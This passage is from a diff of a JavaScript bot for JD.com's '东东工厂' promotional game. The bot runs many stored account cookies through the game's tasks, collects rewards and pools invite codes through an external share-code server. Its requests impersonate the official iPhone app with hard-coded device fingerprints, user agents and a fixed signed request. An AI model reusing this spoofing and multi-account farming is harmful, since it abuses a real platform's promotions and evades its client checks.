resolve(data); - } - }) - }) -} - -//给商品投入电量 -function jdfactory_addEnergy() { - return new Promise(resolve => { - $.post(taskPostUrl("jdfactory_addEnergy"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - console.log(`给商品投入电量:${JSON.stringify(data.data.result)}`) - // $.taskConfigVos = data.data.result.taskConfigVos; - // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -//收集电量 -function jdfactory_collectElectricity() { - return new Promise(resolve => { - $.post(taskPostUrl("jdfactory_collectElectricity"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - console.log(`成功收集${data.data.result.electricityValue}电量,当前蓄电池总电量:${data.data.result.batteryValue}\n`); - $.batteryValue = data.data.result.batteryValue; - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//获取任务列表 -function jdfactory_getTaskDetail() { - return new Promise(resolve => { - $.post(taskPostUrl("jdfactory_getTaskDetail", {}, "jdfactory_getTaskDetail"), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - $.taskVos = data.data.result.taskVos;//任务列表 - $.taskVos.map(item => { - if (item.taskType === 14) { - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${item.assistTaskDetailVo.taskToken}\n`) - myInviteCode = item.assistTaskDetailVo.taskToken; - jdFactoryShareArr.push(myInviteCode) - } - }) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//选择一件商品,只能在 $.newUser !== 1 && $.haveProduct === 2 并且 sellOut === 0的时候可用 -function jdfactory_makeProduct(skuId) { - return new Promise(resolve => { - $.post(taskPostUrl('jdfactory_makeProduct', { skuId }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - console.log(`选购商品成功:${JSON.stringify(data)}`); - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function queryVkComponent() { - return new Promise(resolve => { - const options = { - "url": `https://api.m.jd.com/client.action?functionId=queryVkComponent`, - "body": `adid=0E38E9F1-4B4C-40A4-A479-DD15E58A5623&area=19_1601_50258_51885&body={"componentId":"4f953e59a3af4b63b4d7c24f172db3c3","taskParam":"{\\"actId\\":\\"8tHNdJLcqwqhkLNA8hqwNRaNu5f\\"}","cpUid":"8tHNdJLcqwqhkLNA8hqwNRaNu5f","taskSDKVersion":"1.0.3","businessId":"babel"}&build=167436&client=apple&clientVersion=9.2.5&d_brand=apple&d_model=iPhone11,8&eid=eidIf12a8121eas2urxgGc+zS5+UYGu1Nbed7bq8YY+gPd0Q0t+iviZdQsxnK/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC+PFHdNYx1A/3Zt8xYR+d3&isBackground=N&joycious=228&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=TF&rfs=0000&scope=11&screen=828*1792&sign=792d92f78cc893f43c32a4f0b2203a41&st=1606533009673&sv=122&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJFKw5SxNDrZGH4Sllq/CDN8uyMr2EAv+1xp60Q9gVAW42IfViu/SFHwjfGAvRI6iMot04FU965+8UfAPZTG6MDwxmIWN7YaTL1ACcfUTG3gtkru+D4w9yowDUIzSuB+u+eoLwM7uynPMJMmGspVGyFIgDXC/tmNibL2k6wYgS249Pa2w5xFnYHQ==&uuid=hjudwgohxzVu96krv/T6Hg==&wifiBssid=1b5809fb84adffec2a397007cc235c03`, - "headers": { - "Cookie": cookie, - "Accept": `*/*`, - "Connection": `keep-alive`, - "Content-Type": `application/x-www-form-urlencoded`, - "Accept-Encoding": `gzip, deflate, br`, - "Host": `api.m.jd.com`, - "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - "Accept-Language": `zh-Hans-CN;q=1, en-CN;q=0.9`, - }, - "timeout": 10000, - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log('queryVkComponent', data) - if (safeGet(data)) { - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -//查询当前商品列表 -function jdfactory_getProductList(flag = false) { - return new Promise(resolve => { - $.post(taskPostUrl('jdfactory_getProductList'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.data.bizCode === 0) { - $.canMakeList = []; - $.canMakeList = data.data.result.canMakeList;//当前可选商品列表 sellOut:1为已抢光,0为目前可选择 - if ($.canMakeList && $.canMakeList.length > 0) { - $.canMakeList.sort(sortCouponCount); - console.log(`商品名称 可选状态 剩余量`) - for (let item of $.canMakeList) { - console.log(`${item.name.slice(-4)} ${item.sellOut === 1 ? '已抢光' : '可 选'} ${item.couponCount}`); - } - if (!flag) { - for (let item of $.canMakeList) { - if (item.name.indexOf(wantProduct) > -1 && item.couponCount > 0 && item.sellOut === 0) { - await jdfactory_makeProduct(item.skuId); - break - } - } - } - } - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function sortCouponCount(a, b) { - return b['couponCount'] - a['couponCount'] -} -function jdfactory_getHomeData() { - return new Promise(resolve => { - $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - // console.log(data); - data = JSON.parse(data); - if (data.data.bizCode === 0) { - $.haveProduct = data.data.result.haveProduct; - $.userName = data.data.result.userName; - $.newUser = data.data.result.newUser; - if (data.data.result.factoryInfo) { - $.totalScore = data.data.result.factoryInfo.totalScore;//选中的商品,一共需要的电量 - $.userScore = data.data.result.factoryInfo.userScore;//已使用电量 - $.produceScore = data.data.result.factoryInfo.produceScore;//此商品已投入电量 - $.remainScore = data.data.result.factoryInfo.remainScore;//当前蓄电池电量 - $.couponCount = data.data.result.factoryInfo.couponCount;//已选中商品当前剩余量 - $.hasProduceName = data.data.result.factoryInfo.name;//已选中商品当前剩余量 - } - if ($.newUser === 1) { - //新用户 - console.log(`此京东账号${$.index}${$.nickName}为新用户暂未开启${$.name}活动\n现在为您从库存里面现有数量中选择一商品`); - if ($.haveProduct === 2) { - await jdfactory_getProductList();//选购商品 - } - // $.msg($.name, '暂未开启活动', `京东账号${$.index}${$.nickName}暂未开启${$.name}活动\n请去京东APP->搜索'玩一玩'->东东工厂->开启\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); - } - if ($.newUser !== 1 && $.haveProduct === 2) { - console.log(`此京东账号${$.index}${$.nickName}暂未选购商品\n现在也能为您做任务和收集免费电力`); - // $.msg($.name, '暂未选购商品', `京东账号${$.index}${$.nickName}暂未选购商品\n请去京东APP->搜索'玩一玩'->东东工厂->选购一件商品\n或点击弹窗即可到达${$.name}活动`, {'open-url': 'openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html%22%20%7D'}); - // await jdfactory_getProductList();//选购商品 - } - } else { - console.log(`异常:${JSON.stringify(data)}`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function readShareCode() { - console.log(`当前使用助力池${JD_ZLC_URL}`); - return new Promise(async resolve => { - $.get({url: `${JD_ZLC_URL}/ddfactory`, timeout: 10000}, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - await $.wait(10000); - resolve() - }) -} -//提交互助码 -// function submitCode() { -// return new Promise(async resolve => { -// $.get({ url: `http://www.helpu.cf/jdcodes/submit.php?code=${myInviteCode}&type=ddfactory`, timeout: 10000 }, (err, resp, data) => { -// try { -// if (err) { -// console.log(`${JSON.stringify(err)}`) -// console.log(`${$.name} API请求失败,请检查网路重试`) -// } else { -// if (data) { -// //console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) -// data = JSON.parse(data); -// } -// } -// } catch (e) { -// $.logErr(e, resp) -// } finally { -// resolve(data); -// } -// }) -// await $.wait(15000); -// resolve() -// }) -// } -//格式化助力码 -function shareCodesFormat() { - return new Promise(async resolve => { - console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) - newShareCodes = []; - if ($.shareCodesArr[$.index - 1]) { - newShareCodes = $.shareCodesArr[$.index - 1].split('@'); - } else { - // console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) - const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); - newShareCodes = inviteCodes[tempIndex].split('@'); - } - if (!ZLC) { - console.log(`您设置了不加入助力池,跳过\n`) - } else { - const readShareCodeRes = await readShareCode(); - if (readShareCodeRes && readShareCodeRes.code === 200) { - newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; - } - } - console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) - resolve(); - }) -} -function requireConfig() { - return new Promise(resolve => { - console.log(`开始获取${$.name}配置文件\n`); - //Node.js用户请在jdCookie.js处填写京东ck; - const shareCodes = $.isNode() ? require('./jdFactoryShareCodes.js') : ''; - console.log(`共${cookiesArr.length}个京东账号\n`); - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(shareCodes).forEach((item) => { - if (shareCodes[item]) { - $.shareCodesArr.push(shareCodes[item]) - } - }) - } else { - if ($.getdata('DDFACTORY_SHARECODES')) $.shareCodesArr = $.getdata('DDFACTORY_SHARECODES').split('\n').filter(item => !!item); - console.log(`\nBoxJs设置的东东工厂邀请码:${$.getdata('DDFACTORY_SHARECODES')}\n`); - } - console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); - resolve() - }) -} -function taskPostUrl(function_id, body = {}, function_id2) { - let url = `${JD_API_HOST}`; - if (function_id2) { - url += `?functionId=${function_id2}`; - } - return { - url, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, - headers: { - "Accept": "application/json, text/plain, */*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Cookie": cookie, - "Host": "api.m.jd.com", - "Origin": "https://h5.m.jd.com", - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", - "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", - }, - timeout: 10000, - } -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - }, - "timeout": 10000, - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } +/* +东东工厂,不是京喜工厂 +活动入口:京东APP首页-数码电器-东东工厂 +免费产生的电量(10秒1个电量,500个电量满,5000秒到上限不生产,算起来是84分钟达到上限) +故建议1小时运行一次 +开会员任务和去京东首页点击“数码电器任务目前未做 +不会每次运行脚本都投入电力 +只有当心仪的商品存在,并且收集起来的电量满足当前商品所需电力,才投入 + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#东东工厂 +10 0,6-23 * * * https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jdfactory.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true + +================Loon============== +[Script] +cron "10 0,6-23 * * *" script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jdfactory.js,tag=东东工厂 + +===============Surge================= +东东工厂 = type=cron,cronexp="10 0,6-23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jdfactory.js + +============小火箭========= +东东工厂 = type=cron,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jdfactory.js, cronexpr="10 0,6-23 * * *", timeout=3600, enable=true + */ +const $ = new Env('东东工厂'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', jdFactoryShareArr = [], message, newShareCodes; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (process.env.JDFACTORY_FORBID_ACCOUNT) process.env.JDFACTORY_FORBID_ACCOUNT.split('&').map((item, index) => Number(item) === 0 ? cookiesArr = [] : cookiesArr.splice(Number(item) - 1 - index, 1)) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let wantProduct = ``;//心仪商品名称 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const inviteCodes = []; +let myInviteCode; +$.newShareCode = []; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.stop = true; + message = ''; + //await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdFactory() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFactory() { + try { + await jdfactory_getHomeData(); + // $.newUser !==1 && $.haveProduct === 2,老用户但未选购商品 + // $.newUser === 1新用户 + if ($.newUser === 1) return + await jdfactory_collectElectricity();//收集产生的电量 + await jdfactory_getTaskDetail(); + await doTask(); + await algorithm();//投入电力逻辑 + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`${message}`); + } + if (new Date().getHours() === 12) { + $.msg($.name, '', `${message}`); + } + resolve() + }) +} +async function algorithm() { + // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 + return new Promise(resolve => { + $.post(taskPostUrl('jdfactory_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + $.haveProduct = data.data.result.haveProduct; + $.userName = data.data.result.userName; + $.newUser = data.data.result.newUser; + wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); + if (data.data.result.factoryInfo) { + let { totalScore, useScore, produceScore, remainScore, couponCount, name } = data.data.result.factoryInfo + console.log(`\n已选商品:${name}`); + console.log(`当前已投入电量/所需电量:${useScore}/${totalScore}`); + console.log(`已选商品剩余量:${couponCount}`); + console.log(`当前总电量:${remainScore * 1 + useScore * 1}`); + console.log(`当前完成度:${((remainScore * 1 + useScore * 1) / (totalScore * 1)).toFixed(2) * 100}%\n`); + message += `京东账号${$.index} ${$.nickName}\n`; + message += `已选商品:${name}\n`; + message += `当前已投入电量/所需电量:${useScore}/${totalScore}\n`; + message += `已选商品剩余量:${couponCount}\n`; + message += `当前总电量:${remainScore * 1 + useScore * 1}\n`; + message += `当前完成度:${((remainScore * 1 + useScore * 1) / (totalScore * 1)).toFixed(2) * 